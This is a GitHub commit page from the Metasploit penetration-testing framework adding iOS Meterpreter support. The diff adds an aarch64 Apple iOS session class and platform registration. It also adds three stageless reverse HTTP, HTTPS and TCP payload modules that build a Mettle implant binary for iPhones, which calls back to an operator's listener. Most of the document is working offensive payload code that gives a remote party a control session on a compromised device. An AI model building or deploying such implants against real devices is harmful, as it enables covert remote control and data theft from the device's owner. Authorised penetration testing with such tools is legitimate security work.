Skip to content

Commit c4e20e0

Browse files
committed
iOS meterpreter
1 parent d79b0ad commit c4e20e0

File tree

8 files changed

+174
-3
lines changed

8 files changed

+174
-3
lines changed
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/base/sessions/meterpreter'
4+
5+
module Msf
6+
module Sessions
7+
8+
###
9+
#
10+
# This class creates a platform-specific meterpreter session type
11+
#
12+
###
13+
class Meterpreter_aarch64_Apple_iOS < Msf::Sessions::Meterpreter
14+
def supports_ssl?
15+
false
16+
end
17+
def supports_zlib?
18+
false
19+
end
20+
def initialize(rstream, opts={})
21+
super
22+
self.base_platform = 'apple_ios'
23+
self.base_arch = ARCH_AARCH64
24+
end
25+
end
26+
27+
end
28+
end
29+

lib/msf/core/module/platform.rb

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -560,4 +560,12 @@ class Hardware < Msf::Module::Platform
560560
Alias = "hardware"
561561
end
562562

563+
#
564+
# Apple iOS
565+
#
566+
class Apple_iOS < Msf::Module::Platform
567+
Rank = 100
568+
Alias = "apple_ios"
569+
end
570+
563571
end

lib/msf/core/payload/uuid.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -72,7 +72,8 @@ class Msf::Payload::UUID
7272
21 => 'python',
7373
22 => 'nodejs',
7474
23 => 'firefox',
75-
24 => 'r'
75+
24 => 'r',
76+
25 => 'apple_ios',
7677
}
7778

7879
# The raw length of the UUID structure

modules/exploits/multi/handler.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ def initialize(info = {})
3030
'BadChars' => '',
3131
'DisableNops' => true
3232
},
33-
'Platform' => %w[android bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi],
33+
'Platform' => %w[android apple_ios bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi],
3434
'Arch' => ARCH_ALL,
3535
'Targets' => [ [ 'Wildcard Target', {} ] ],
3636
'DefaultTarget' => 0,
Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/handler/reverse_http'
7+
require 'msf/base/sessions/meterpreter_options'
8+
require 'msf/base/sessions/mettle_config'
9+
require 'msf/base/sessions/meterpreter_aarch64_apple_ios'
10+
11+
module MetasploitModule
12+
13+
include Msf::Payload::Single
14+
include Msf::Sessions::MeterpreterOptions
15+
include Msf::Sessions::MettleConfig
16+
17+
def initialize(info = {})
18+
super(
19+
update_info(
20+
info,
21+
'Name' => 'Apple_iOS Meterpreter, Reverse HTTP Inline',
22+
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
23+
'Author' => [
24+
'Adam Cammack <adam_cammack[at]rapid7.com>',
25+
'Brent Cook <brent_cook[at]rapid7.com>',
26+
'timwr'
27+
],
28+
'Platform' => 'apple_ios',
29+
'Arch' => ARCH_AARCH64,
30+
'License' => MSF_LICENSE,
31+
'Handler' => Msf::Handler::ReverseHttp,
32+
'Session' => Msf::Sessions::Meterpreter_aarch64_Apple_iOS
33+
)
34+
)
35+
end
36+
37+
def generate
38+
opts = {
39+
scheme: 'http',
40+
stageless: true
41+
}
42+
MetasploitPayloads::Mettle.new('aarch64-iphone-darwin', generate_config(opts)).to_binary :exec
43+
end
44+
end
Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/handler/reverse_https'
7+
require 'msf/base/sessions/meterpreter_options'
8+
require 'msf/base/sessions/mettle_config'
9+
require 'msf/base/sessions/meterpreter_aarch64_apple_ios'
10+
11+
module MetasploitModule
12+
13+
include Msf::Payload::Single
14+
include Msf::Sessions::MeterpreterOptions
15+
include Msf::Sessions::MettleConfig
16+
17+
def initialize(info = {})
18+
super(
19+
update_info(
20+
info,
21+
'Name' => 'Apple_iOS Meterpreter, Reverse HTTPS Inline',
22+
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
23+
'Author' => [
24+
'Adam Cammack <adam_cammack[at]rapid7.com>',
25+
'Brent Cook <brent_cook[at]rapid7.com>',
26+
'timwr'
27+
],
28+
'Platform' => 'apple_ios',
29+
'Arch' => ARCH_AARCH64,
30+
'License' => MSF_LICENSE,
31+
'Handler' => Msf::Handler::ReverseHttps,
32+
'Session' => Msf::Sessions::Meterpreter_aarch64_Apple_iOS
33+
)
34+
)
35+
end
36+
37+
def generate
38+
opts = {
39+
scheme: 'https',
40+
stageless: true
41+
}
42+
MetasploitPayloads::Mettle.new('aarch64-iphone-darwin', generate_config(opts)).to_binary :exec
43+
end
44+
end
Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/handler/reverse_tcp'
7+
require 'msf/base/sessions/meterpreter_options'
8+
require 'msf/base/sessions/mettle_config'
9+
require 'msf/base/sessions/meterpreter_aarch64_apple_ios'
10+
11+
module MetasploitModule
12+
13+
include Msf::Payload::Single
14+
include Msf::Sessions::MeterpreterOptions
15+
include Msf::Sessions::MettleConfig
16+
17+
def initialize(info = {})
18+
super(
19+
update_info(
20+
info,
21+
'Name' => 'Apple_iOS Meterpreter, Reverse TCP Inline',
22+
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
23+
'Author' => [
24+
'Adam Cammack <adam_cammack[at]rapid7.com>',
25+
'Brent Cook <brent_cook[at]rapid7.com>',
26+
'timwr'
27+
],
28+
'Platform' => 'apple_ios',
29+
'Arch' => ARCH_AARCH64,
30+
'License' => MSF_LICENSE,
31+
'Handler' => Msf::Handler::ReverseTcp,
32+
'Session' => Msf::Sessions::Meterpreter_aarch64_Apple_iOS
33+
)
34+
)
35+
end
36+
37+
def generate
38+
opts = {
39+
scheme: 'tcp',
40+
stageless: true
41+
}
42+
MetasploitPayloads::Mettle.new('aarch64-iphone-darwin', generate_config(opts)).to_binary :exec
43+
end
44+
end

tools/modules/generate_mettle_payloads.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,7 @@
2525
['x86', 'Linux', 'i486-linux-musl'],
2626
['zarch', 'Linux', 's390x-linux-musl'],
2727
['x64', 'OSX', 'x86_64-apple-darwin'],
28+
['aarch64', 'Apple_iOS', 'aarch64-iphone-darwin'],
2829
]
2930

3031
arch = ''
@@ -42,7 +43,7 @@
4243

4344
template = File::read(File::join(cwd, "meterpreter_reverse.erb"))
4445
renderer = ERB.new(template)
45-
filename = File::join('modules', 'payloads', 'singles', platform, arch, "meterpreter_reverse_#{scheme}.rb")
46+
filename = File::join('modules', 'payloads', 'singles', platform.downcase, arch, "meterpreter_reverse_#{scheme}.rb")
4647
File::write(filename, renderer.result())
4748
end
4849
end

0 commit comments

Comments
 (0)